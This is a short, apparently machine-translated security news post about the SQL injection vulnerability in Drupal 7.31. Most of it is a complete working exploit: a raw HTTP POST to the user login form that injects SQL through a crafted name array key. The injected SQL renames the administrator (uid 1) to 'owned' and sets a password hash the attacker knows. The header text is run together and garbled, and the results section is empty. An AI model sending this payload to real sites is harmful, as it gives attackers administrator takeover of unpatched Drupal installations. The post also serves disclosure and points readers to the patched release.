Drupal 7.31 version burst severe SQL injection Vulnerability

This morning, foreign security researchers exposed the latest SQL injection vulnerability in Drupal 7.31, and gave the EXP code to take advantage of the test.

The Drupal7.31 environment is built locally, tested to find that the code can be executed successfully and an attacker-defined user is added to the database.

Test Code:(do not use for illegal purposes)

POST/Drupal-7.31/?Q=Node&Destination=Node HTTP/1.1Host:127.0.0.1User-Agent:Mozilla/5.0(X11; Ubuntu;Linuxx86_64;Rv:28.0)Gecko/20100101Firefox/28.0Accept:Text/Html,application/xhtml+ Xml,application/xmlq=0.9,*/*;q= 0.8accept-language: en-us,en;q=0.5accept-encoding: gzip, deflatereferer: http://127.0.0.1/ drupal-7.31/cookie: drupal.toolbar.collapsed=0; drupal.tabledrag.showweight=0; has_js= 1connection: keep-alivecontent-type: application/x-www-form-urlencodedcontent-length: 231name[0 %20;update+users+set+name%3d ' owned ' +,+pass+%3d+ ' $S $dkikdklivrk0ivhm99x7b/m8qc17e1tp/kmod1ie8v/pgwjtazld ' +where +uid+%3d+ ' 1 ';; #%20%20]=test3&name[0]=test&pass=shit2&test2=test&form_build_id=&form_id=user_login_block &op=log+in              

Local Environment Test results:

Ask the relevant vendors to follow up and fix the bug as soon as possible.

New Download:

https://www.drupal.org/drupal-7.32

Drupal 7.31 version burst severe SQL injection Vulnerability